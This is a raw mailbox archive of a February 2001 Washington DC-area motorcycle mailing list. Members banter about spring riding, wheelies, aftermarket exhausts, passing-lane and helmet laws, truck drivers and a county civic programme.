Feb 2001 14:42:20 -0500 Sensitivity: Personal MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain > > E.g. > > For Interstates and other restricted access through ways: > > Reserve left lane for passing > > Ban passing on the right > > I agree with the left lane only for passing. But if someone > isn't getting out of my way, and I can go around him on the > right, I will. I'm not gonna sit there and piss around with > flashing high beams and honking horns, trying to get the > attention of an idiot. I've got more important things to do. :) [Custer, Carl] In that case yes, tho instead of flashing lights (illegal in Merryland) or horns a bazooka would be nice (rear mounted so you don't have to drive through jagged partz. Carl in Bethesda (from the gummimint but gettin' testy) From dc-cycles-request Fri Feb 9 14:47:22 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19JlJP28716 for ; Fri, 9 Feb 2001 14:47:19 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id OAA16511 for ; Fri, 9 Feb 2001 14:38:17 -0500 From: "Christopher Weaver" To: "dcbike" Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 9 Feb 2001 19:49:31 UT Subject: RE: great day to ride... Date: Fri, 9 Feb 2001 14:46:46 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010209191045.26549.qmail@web906.mail.yahoo.com> There's the theory for Schoolbus Wheelie Syndrome (SWS) that suggests that the bike itself wants to wheelie and simply turns the throttle on its own. According to this theory, you only *think* it was voluntary on your part since your brain can't handle the fact that the *bike* is the squid and that you're just a hapless victim. Police officers don't often subscribe to the New England Journal of Medicine, so don't expect them to subscribe to this theory. Chris Weaver VTR YSR dccycles.com -----Original Message----- From: Justin Stefanon [mailto:jstefanon@XXXXXX] Sent: Friday, February 09, 2001 2:11 PM To: dcbike Subject: RE: great day to ride... VTR's on the other hand, can't not wheelie. Last time I got to ride it, my brother's vtr taught me how to wheelie while passing a school bus. Is there something in our demented brains that makes this necessary? From dc-cycles-request Fri Feb 9 15:25:10 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19KP9P29358 for ; Fri, 9 Feb 2001 15:25:09 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id PAA05244 for ; Fri, 9 Feb 2001 15:25:07 -0500 (EST) Received: from c002.snv.cp.net (c002-h002.c002.snv.cp.net [209.228.32.166]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with SMTP id PAA17747 for ; Fri, 9 Feb 2001 15:25:06 -0500 (EST) Received: (cpmta 18311 invoked from network); 9 Feb 2001 12:25:00 -0800 Date: 9 Feb 2001 12:25:00 -0800 Message-ID: <20010209202500.18310.cpmta@c002.snv.cp.net> X-Sent: 9 Feb 2001 20:25:00 GMT Received: from [205.229.56.13] by mail.peoplepc.com with HTTP; 09 Feb 2001 12:25:00 PST Content-Type: text/plain Content-Disposition: inline Mime-Version: 1.0 To: mike@XXXXXX From: LAURA GRANATO Cc: dc-cycles@XXXXXX X-Mailer: Web Mail 3.8.1.6 Subject: Re: Rejuvination On Fri, 09 February 2001, Troutman wrote: I just spent an hour and > a half exploring Reston/Herndon/Vienna back roads. Still a lot of sandy > curves, but I feel .... better .... more awake .... ready for Summer ;-) You, and everyone else who rode today, suck! :-) Just kidding! My bike is off at speedwerks right now getting some good stuff done to her (you won't recognize her when she gets back)...I bet she misses me today, though. :-) LAG ________________________________________________ PeoplePC: It's for people. And it's just smart. http://www.peoplepc.com From dc-cycles-request Fri Feb 9 16:16:45 2001 Return-Path: Received: from hotmail.com (f34.law7.hotmail.com [216.33.237.34]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19LGhP00281 for ; Fri, 9 Feb 2001 16:16:44 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 9 Feb 2001 13:16:35 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 09 Feb 2001 21:16:35 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Cc: lgranato@XXXXXX Subject: Re: Rejuvination Date: Fri, 09 Feb 2001 16:16:35 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 09 Feb 2001 21:16:35.0765 (UTC) FILETIME=[955C3650:01C092DD] Good bye and have a great weekend all! My Concours is calling me from the garage right now. I'm outta here!!! Perry >From: LAURA GRANATO [snip] >You, and everyone else who rode today, suck! :-) Just kidding! _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Fri Feb 9 16:22:54 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19LMqP00379 for ; Fri, 9 Feb 2001 16:22:52 -0500 (EST) Received: (qmail 27594 invoked by uid 1001); 9 Feb 2001 21:22:49 -0000 Message-ID: <20010209212249.27593.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Fri, 09 Feb 2001 16:22:46 -0500 Subject: Re: Rejuvination You should see the 'rework' I had done to my '95 nighthawk recently. What was Honda red is now black, it displaces 885cc's instead of 750, lopped off a cylinder to make it a 3, and sports wider tires and rims. Haven't fixed the front-end dive yet. Only cost me about 4 large for the upgrades. (Hint: there is a 2nd bike in my stable. Trident 900 - from that brit company across the Pond) -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Fri Feb 9 16:25:49 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19LPmP00413 for ; Fri, 9 Feb 2001 16:25:48 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id QAA05655 for ; Fri, 9 Feb 2001 16:25:44 -0500 (EST) Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with SMTP id QAA19784 for ; Fri, 9 Feb 2001 16:25:40 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Fri, 09 Feb 2001 15:28:42 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Fri, 09 Feb 2001 15:18:58 -0600 From: "George Cole" To: , Subject: Re: Rejuvination Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f19LPsP00414 You got it brother... ;o) I took several hours off today and did the same in upper Montgomery county, ventilated leathers are much more comfy than being all bundled up for winter temps. You are right about the sand...they went overboard in MD. George Cole 00 VFR 800 99 R6 not tagged yet.. grr >>> Troutman 02/09/01 01:16PM >>> I never really stopped riding this winter, but with all the snow and sand I had a week or two at a time where I didn't saddle up. I feel so sorry for those of you that didn't go for a lunchtime ride. I just spent an hour and a half exploring Reston/Herndon/Vienna back roads. Still a lot of sandy curves, but I feel .... better .... more awake .... ready for Summer ;-) ___________________________________________ Mike Troutman http://www.troutman.org/vfr '97 Honda VFR 750 Member : AMA ~=~ NMA ~=~ NRA "Government can't solve the problem. Government is the problem." --Ronald Reagan From dc-cycles-request Fri Feb 9 16:44:03 2001 Return-Path: Received: from web11202.mail.yahoo.com (web11202.mail.yahoo.com [216.136.131.184]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19Li2P00731 for ; Fri, 9 Feb 2001 16:44:02 -0500 (EST) Message-ID: <20010209214355.9131.qmail@web11202.mail.yahoo.com> Received: from [63.44.146.22] by web11202.mail.yahoo.com; Fri, 09 Feb 2001 13:43:55 PST Date: Fri, 9 Feb 2001 13:43:55 -0800 (PST) From: Matthew Rosenstock Subject: Riding Today To: DC Cycles MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii As a seasonal rider, I haven't been on my steed since October. I was able to get out today and WOW!!!! It felt good. I hope all the seasonal riders had an opportunity to get out today. Today was the type of day made for us. Ride to live and live to ride! Matt in B-more __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 17:10:41 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19MAdP01195 for ; Fri, 9 Feb 2001 17:10:40 -0500 (EST) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8I00H5LG97ZH@XXXXXX> for dc-cycles@XXXXXX; Fri, 9 Feb 2001 22:10:19 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0G8I00001G94OX@XXXXXX> for dc-cycles@XXXXXX; Fri, 09 Feb 2001 22:10:19 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0G8I00LARG8WCV@XXXXXX> for dc-cycles@XXXXXX; Fri, 09 Feb 2001 22:10:08 +0000 (GMT) Date: Fri, 09 Feb 2001 17:10:04 -0500 From: Dale Horstman Subject: Re: Cryor bill To: "'DCCycles'" Message-id: <3A846ABC.E54E4A24@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <776B2ABC9364D411867B009027B69A2F01612D4F@DCHQCLEXHQ> We were talking about: > > > For Interstates and other restricted access through ways: > > > Reserve left lane for passing Actually, this is already a law in Virginia, it is just seldom (never?) enforced. Damn. http://leg1.state.va.us/cgi-bin/legp504.exe?000+cod+46.2-804 -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Fri Feb 9 17:22:07 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19MM4P01407 for ; Fri, 9 Feb 2001 17:22:05 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Fri, 09 Feb 2001 16:25:12 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Fri, 09 Feb 2001 16:16:53 -0600 From: "George Cole" To: , , , Subject: Re: Y2k GSXR-750 pipes Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f19MMJP01408 You guys should hear the M4 system on my R6....way to loud even for a old squid like myself. It makes great power and the quality is good, but the volume is a little much. I must need to repack it or something. My ears were ringing for few hours after a quickie 15 minute ride while wearing ear plugs...not good. That and a few Ted Nugent concerts (50 foot wall of Marshal amps) back in the day are not doing my hearing any good. George Cole >>> cvkgpena@XXXXXX 02/09/01 10:08AM >>> Sean, No first-hand experience with either, but... My understanding is that D&D pipes are pretty loud. So this could be either good or bad, depending on what your friend wants in a pipe. The Da Vinci pipes look pretty cool and most of the mags (especially the Brit ones) seem to think they're OK. FWIW, I'm partial to the Yosh RS-3 oval. I have a full race exhaust on my '93 GSXR 750. Gave me a good power increase both midrange and top end. Nice sound (but that's subjective). Loud, but not overly so (at least compared to other race pipes). And I like the look of the oval can. Chuck Sean Jordan wrote: > > Anybody out there have any experience with the D&D and Da Vinci pipes > for the Gixxer? I have a buddy who is looking to get a new pipe and > is looking for some feedback. (For a streetbike) Thanks. -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Fri Feb 9 17:34:13 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19MYBP01579 for ; Fri, 9 Feb 2001 17:34:12 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f19Mbsn28690; Fri, 9 Feb 2001 17:37:54 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: "George Cole" , Subject: Re: Y2k GSXR-750 pipes Date: Fri, 9 Feb 2001 17:37:54 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <01020917375413.08143@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Fri, 09 Feb 2001, George Cole wrote: > You guys should hear the M4 system on my R6....way to loud even for a old > squid like myself. It makes great power and the quality is good, but the > volume is a little much. Oh Yeah?? Wait till you hear the new Forza pipes that just went on the Ducati ::grin:: 10% gain in torque, ~5% gain in HP. Woo hoo! (I love having cheap/free access to a dyno...) - Roach From dc-cycles-request Fri Feb 9 18:01:17 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19N1GP02106 for ; Fri, 9 Feb 2001 18:01:16 -0500 (EST) Received: from patriot.net (pool180-14.patriot.net [209.249.180.14]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f19N0rH09837; Fri, 9 Feb 2001 18:00:53 -0500 Message-ID: <3A84755A.11F2DD33@patriot.net> Date: Fri, 09 Feb 2001 17:55:22 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: roach@XXXXXX CC: George Cole , dc-cycles@XXXXXX Subject: Re: Y2k GSXR-750 pipes References: <01020917375413.08143@www.mostlyharmless.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brian Roach wrote: > On Fri, 09 Feb 2001, George Cole wrote: > > You guys should hear the M4 system on my R6....way to loud even for a old > > squid like myself. It makes great power and the quality is good, but the > > volume is a little much. > > Oh Yeah?? Wait till you hear the new Forza pipes that just went on the Ducati > ::grin:: OH YEAH!!! Wait til you hear my Kerkers on my big EVO twin Hawg! Buggers blast out a totally legal EPA 80db !!! Bill From dc-cycles-request Fri Feb 9 20:17:38 2001 Return-Path: Received: from m11.boston.juno.com (m11.boston.juno.com [64.136.24.74]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1A1HbP04157 for ; Fri, 9 Feb 2001 20:17:37 -0500 (EST) Received: from cookie.juno.com by cookie.juno.com for <"fTLSAcSSZ0OO+O1u10jMXJKdkY2/xoz6G/ShAR/9U3Ti/X4nxnqh7Q=="> Received: (from celticracing@XXXXXX) by m11.boston.juno.com (queuemail) id FVVMQDG3; Fri, 09 Feb 2001 20:15:17 EST To: dc-cycles@XXXXXX Date: Fri, 9 Feb 2001 20:14:57 -0500 Subject: Wanna REALLY Learn About Local Gov't? Message-ID: <20010209.201457.-344663.1.CelticRacing@juno.com> X-Mailer: Juno 5.0.27 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Juno-Line-Breaks: 1-2,6-7,18-19,23-24,29-30,37-39,41,43,45 From: Tom Fitzpatrick Prince William County is now taking applications for its Community Leadership Institute *for Prince William County residents*. As I mentioned before, I was a graduate of the inaugural class. I learned a whole lot, even though I had already been very active in my community, homeowner's association, and politics. Assuming it has maintained the same high standards, I recommend it strongly. Couple of comments. It is not a bitch session. It is a learning session. That does not mean that you can't ask hard questions. That does not mean that you can't take the opportunity to meet key staff people in the County government and let them know who you are, what your feelings are, and what you would like to see them do. It means that during the class sessions, comments like "You government scum bags are a bunch of dirty leaches stealing the bread off of my table", or "you guys screwed us out of an off road riding area and I am going to find out where you play golf and do doughnuts on all 18 greens AND the practice green" are not appropriate. After completing the course, THEN you can bitch, and do so much more effectively! It covers every area of the County government - law enforcement, fire and rescue, education, library services, water board, recreation and parks and so on. One night a week for several months. Only cost is your time. I get a kick out of all the different viewpoints expressed on this list. Although, given that I am one of those "leaches" (fed), if I ever go to a bike night I can guarantee you that I won't be leaving my beer unattended! So, consider going, you will learn a lot and be in a much better position to pursue whatever agenda you may have. How to find out more and apply? Call 703-792-4636 and request message #121. Follow the instructions at the end of the short message to have an application sent to any fax machine in the 703 area code. You may also call 703-792-6635 to have an application mailed to you. Or, drop by my house. As an alumnus, they mailed me a couple. I live near Potomac Mills. In a house paid for with your tax dollars ;-) It's the least I can do in return. Heh. Tom Fitzpatrick CCS#80'6 (www.celticracing.com) Sponsors: *Fast Lane Cycles/fastlanecycles@XXXXXX/703-818-8890/ (www.fastlanecycles.com) *Barnacle Bill's Racing Leathers - barnacle@XXXXXX (www.racingleather.com) *A.F.S. Contractor Inc.-Home Insurance Recovery Specialist (www.unitedwebuild.com/afs.html) *Janet Bell TAX Preparation, Accounting and Consulting (belljan@XXXXXX) From dc-cycles-request Fri Feb 9 21:51:46 2001 Return-Path: Received: from smtp2.abac.com (smtp2.abac.com [216.55.128.11]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1A2phP05396 for ; Fri, 9 Feb 2001 21:51:43 -0500 (EST) Received: from 0000bk820000 (ip25.laurel10.md.pub-ip.psi.net [38.38.24.25]) by smtp2.abac.com (8.10.1/8.10.1) with SMTP id f1A2pfM57364 for ; Fri, 9 Feb 2001 18:51:42 -0800 (PST) Message-ID: <001201c0930c$7fe9e720$19182626@0000bk820000> From: "Howard J. Koontz" To: Subject: Don't just sit there, PLEASE!!! Date: Fri, 9 Feb 2001 21:52:24 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000F_01C092E2.95ED6080" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C092E2.95ED6080 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <>> My point is that while I think most of the > riders on this list have some modicum common sense, I also think = common > sense isn't so common. Granted Dad and kid were probably just a block = or 2 > to school, but it seemed topical And passing laws won't change a thing. That person is already breaking = the helmet law, and endargering their child, and would summarily ignore any additional laws passed. You can NOT legislate common sense. The law is useless, so why pass it? So the state can give him a ticket (maybe, if = the cops put down the radar gun long enough to enforce a different traffic = law)?<> Yes. This man was breaking the current laws. And more than likely more = laws will not affect him either because he will summarily break those = too.=20 But I am not him. I am me. And I *DO* obey laws. So the more and more = laws passed regarding my lifestyle create more and more ways I have to = alter my lifestyle. The point about this and other similar laws serving as gateway = legislation is VALID!! Don't believe? Look at firearm and outdoor = sportsmen activity. These are two subjects (1) law makers obviosly know = little about, (2) are enjoyed by a minority of the constituency (sp?), = and (3) are easily legislated against. Drafting morality against such = activities is attractive to lawmakers because it shows they are earning = their money by creating laws, however stupid, and fear no reprocussions = the following election year because they can't lose by pissing off the = minority. Laws of this nature start slowly in the state houses across = the country, and finally, by virtue of education via innuendo, = mis-truths, hype, an isolated case of mishap here & there and = stereotype, the urban legends of firearm dangers and hunting dangers and = motorcycle dangers take center stage. Voila. Knee-jerk = legislation. Enforce what we have now, don't make me into a criminal = just so I can enjoy the only thing in life that truly brings me any joy. = Stop this and all bills like it.=20 I do feel this is the beginning of more and similar restrictions. Wait = 'till they pass the law stating no motorcycles on interstates because it = is just too dangerous. Then maybe you'll get off your donkey and stop = this senseless imposed (pseudo-) morality. <>> And! if you see > a JB Hunt truck, stay far away. They'll hire > anybody. this one just sounds like a gratuitous swipe at the competition. <> No, it's not. Well, it is, but it's rooted in truth. At my current = position, I used to work in the field, and needed a CDL to drive 26,001+ = lbs. vehicles. Apparently the MD MVA sold my name (it happened to all = the CDL drivers at my Co.) to JB Hunt, because I get junk mail two and = three times a year offering me a position, no experience necessary. As I = talk to truckers on the CB, they confirm they get letters too. Hunt = drivers are potentially dangerous. But so are all drivers I would guess. But the "passing near the trailer" argument doesn't hold water. First, = and I do not believe in absolutes in this world, but I'll say *ALL* = drivers have fish-eye mirrors to see as much of the highway as possible = at all times. They can see you in the other lane, no matter where you = are. Second, the wind blast so close to the trailer would be dangerous, = and getting so close would make the driver nervous and drive thusly, a = bad situation all the way around. If you're really so concerned, just = flash your brights a few times before initiating a pass. They'll see = you. Howard J. Koontz HOFOJOKO@XXXXXX 1998 CBR600F3 (For Sale) 1972 Honda Z50AK3 Mini Trail (For Sale) "The sun's not yella', it's chicken" ------=_NextPart_000_000F_01C092E2.95ED6080 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
<<snip>>> My point is = that while I=20 think most of the
> riders on this list have some modicum common = sense, I=20 also think common
> sense isn't so common. Granted Dad and kid = were=20 probably just a block or 2
> to school, but it seemed = topical

And=20 passing laws won't change a thing. That person is already breaking = the
helmet=20 law, and endargering their child, and would summarily ignore = any
additional=20 laws passed. You can NOT legislate common sense. The law is
useless, = so why=20 pass it? So the state can give him a ticket (maybe, if the
cops put = down the=20 radar gun long enough to enforce a different traffic=20 law)?<<snip>>
 
Yes. This man was breaking the current = laws. And=20 more than likely more laws will not affect him either because he will = summarily=20 break those too.
But I am not him. I am me. And I *DO* = obey laws. So=20 the more and more laws passed regarding my lifestyle create more and = more ways I=20 have to alter my lifestyle.
The point about this and other similar = laws serving=20 as gateway legislation is VALID!! Don't believe? Look at firearm and = outdoor=20 sportsmen activity. These are two subjects (1) law makers obviosly know = little=20 about, (2) are enjoyed by a minority of the constituency (sp?), and = (3) are=20 easily legislated against. Drafting morality against such activities is=20 attractive to lawmakers because it shows they are earning their = money by=20 creating laws, however stupid, and fear no reprocussions the following = election=20 year because they can't lose by pissing off the minority. Laws of=20 this nature start slowly in the state houses across the country, = and=20 finally, by virtue of education via innuendo, mis-truths, hype, an = isolated case=20 of mishap here & there and stereotype, the urban legends of = firearm=20 dangers and hunting dangers and <GASP!> motorcycle dangers take = center=20 stage. Voila. Knee-jerk legislation. Enforce what we have now, don't = make=20 me into a criminal just so I can enjoy the only thing in life = that=20 truly brings me any joy. Stop this and all bills like it. =
I do feel this is the beginning of more = and similar=20 restrictions. Wait 'till they pass the law stating no motorcycles=20 on interstates because it is just too dangerous. Then maybe = you'll get=20 off your donkey and stop this senseless imposed (pseudo-)=20 morality.
 
 <<snip>>> And! if = you=20 see
> a JB Hunt truck, stay far away. They'll hire
>=20 anybody.

this one just sounds like a gratuitous swipe at=20 the
competition. <<snip>>
 
No, it's not. Well, it is, but it's = rooted in=20 truth. At my current position, I used to work in the field, and = needed a=20 CDL to drive 26,001+ lbs. vehicles. Apparently the MD MVA sold my name = (it=20 happened to all the CDL drivers at my Co.) to JB Hunt, because I get = junk mail=20 two and three times a year offering me a position, no experience = necessary. As I=20 talk to truckers on the CB, they confirm they get letters too. Hunt = drivers are=20 potentially dangerous. But so are all drivers I would = guess.
But the "passing near the trailer" = argument doesn't=20 hold water. First, and I do not believe in absolutes in this world, but = I'll say=20 *ALL* drivers have fish-eye mirrors to see as much of the highway as = possible at=20 all times. They can see you in the other lane, no matter where you are. = Second,=20 the wind blast so close to the trailer would be dangerous, and getting = so close=20 would make the driver nervous and drive thusly, a bad situation all the = way=20 around. If you're really so concerned, just flash your brights a few = times=20 before initiating a pass. They'll see you.
 
Howard J. Koontz
HOFOJOKO@XXXXXX
1998 = CBR600F3 (For=20 Sale)
1972 Honda Z50AK3 Mini Trail (For Sale)
"The sun's not = yella', it's=20 chicken"



------=_NextPart_000_000F_01C092E2.95ED6080-- From dc-cycles-request Fri Feb 9 22:31:09 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1A3V7P05971 for ; Fri, 9 Feb 2001 22:31:07 -0500 (EST) Received: from patriot.net (pool180-14.patriot.net [209.249.180.14]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1A3UxH06357; Fri, 9 Feb 2001 22:31:00 -0500 Message-ID: <3A84B4AA.F2BE44BF@patriot.net> Date: Fri, 09 Feb 2001 22:25:30 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: "Howard J. Koontz" CC: dc-cycles@XXXXXX Subject: Re: Don't just sit there, PLEASE!!! References: <001201c0930c$7fe9e720$19182626@0000bk820000> Content-Type: multipart/alternative; boundary="------------8D2E68F9812CE51E78D40792" --------------8D2E68F9812CE51E78D40792 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Howard J. Koontz wrote: > <>> And! if you see > > a JB Hunt truck, stay far away. They'll hire > > anybody. > > this one just sounds like a gratuitous swipe at the > competition. <> No, it's not. Well, it is, but it's rooted in > truth. At my current position, I used to work in the field, and needed > a CDL to drive 26,001+ lbs. vehicles. Apparently the MD MVA sold my > name (it happened to all the CDL drivers at my Co.) to JB Hunt, > because I get junk mail two and three times a year offering me a > position, no experience necessary. As I talk to truckers on the CB, > they confirm they get letters too. Hunt drivers are potentially > dangerous. But so are all drivers I would guess.But the "passing near > the trailer" argument doesn't hold water. First, and I do not believe > in absolutes in this world, but I'll say *ALL* drivers have fish-eye > mirrors to see as much of the highway as possible at all times. They > can see you in the other lane, no matter where you are. Second, the > wind blast so close to the trailer would be dangerous, and getting so > close would make the driver nervous and drive thusly, a bad situation > all the way around. If you're really so concerned, just flash your > brights a few times before initiating a pass. they'll see you. Add Schnieder to the list - orange trailers. They have a hig incidence of road-rudenes, and J.B Hunt is also one to watch. But the worst, traveling south, are the crazy fuckers towing double-wides. I've been doing 80+ and had them roll on by, weaving and rocking, on the edge of disastor. Saw one in my mirrors in TN that had to 20 feet wide, took up a lane and a half on the Innerstate (TN for interstate). Had to turn the wick up to like 85 to keep him behind me! And passing? Like zoom it! Stay out of the wind, get past that sucker! Of course, the same applies to Ford Exploders, seeing as how they've been shedding tires faster than trucks these days. Bill --------------8D2E68F9812CE51E78D40792 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  

Howard J. Koontz wrote:

 <<snip>>> And! if you see
> a JB Hunt truck, stay far away. They'll hire
> anybody.

this one just sounds like a gratuitous swipe at the
competition. <<snip>> No, it's not. Well, it is, but it's rooted in truth. At my current position, I used to work in the field, and needed a CDL to drive 26,001+ lbs. vehicles. Apparently the MD MVA sold my name (it happened to all the CDL drivers at my Co.) to JB Hunt, because I get junk mail two and three times a year offering me a position, no experience necessary. As I talk to truckers on the CB, they confirm they get letters too. Hunt drivers are potentially dangerous. But so are all drivers I would guess.But the "passing near the trailer" argument doesn't hold water. First, and I do not believe in absolutes in this world, but I'll say *ALL* drivers have fish-eye mirrors to see as much of the highway as possible at all times. They can see you in the other lane, no matter where you are. Second, the wind blast so close to the trailer would be dangerous, and getting so close would make the driver nervous and drive thusly, a bad situation all the way around. If you're really so concerned, just flash your brights a few times before initiating a pass. they'll see you.

Add Schnieder to the list - orange trailers.   They have a hig incidence of road-rudenes, and J.B Hunt is also one to watch.   But the worst, traveling south, are the crazy fuckers towing double-wides.   I've been doing 80+ and had them roll on by, weaving and rocking, on the edge of disastor.  Saw one in my mirrors in TN that had to 20 feet wide, took up a lane and a half on the Innerstate (TN for interstate).   Had to turn the wick up to like 85 to keep him behind me!  
And passing?  Like zoom it!  Stay out of the wind, get past that sucker!  Of course, the same applies to Ford Exploders, seeing as how they've been shedding tires faster than trucks these days.

Bill --------------8D2E68F9812CE51E78D40792-- From dc-cycles-request Sat Feb 10 07:42:26 2001 Return-Path: Received: from web3906.mail.yahoo.com (web3906.mail.yahoo.com [204.71.203.202]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1ACgPP15904 for ; Sat, 10 Feb 2001 07:42:25 -0500 (EST) Message-ID: <20010210124222.13459.qmail@web3906.mail.yahoo.com> Received: from [192.147.69.250] by web3906.mail.yahoo.com; Sat, 10 Feb 2001 04:42:22 PST Date: Sat, 10 Feb 2001 04:42:22 -0800 (PST) From: "Tom K." Subject: RE: great day to ride... To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii -----Original Message----- >Oh, I plan to. I got to wheelie past a schoolbus full >of kids this morning. >I'm not sure who enjoyed it more. :^) >Chris Weaver >VTR YSR dccycles.com Chris, I hope it was a standup wheelie, the youth of today are so hard to please!:-0> p.s. do you want to sell your ysr?? -Tom 98VFR __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sat Feb 10 10:48:43 2001 Return-Path: 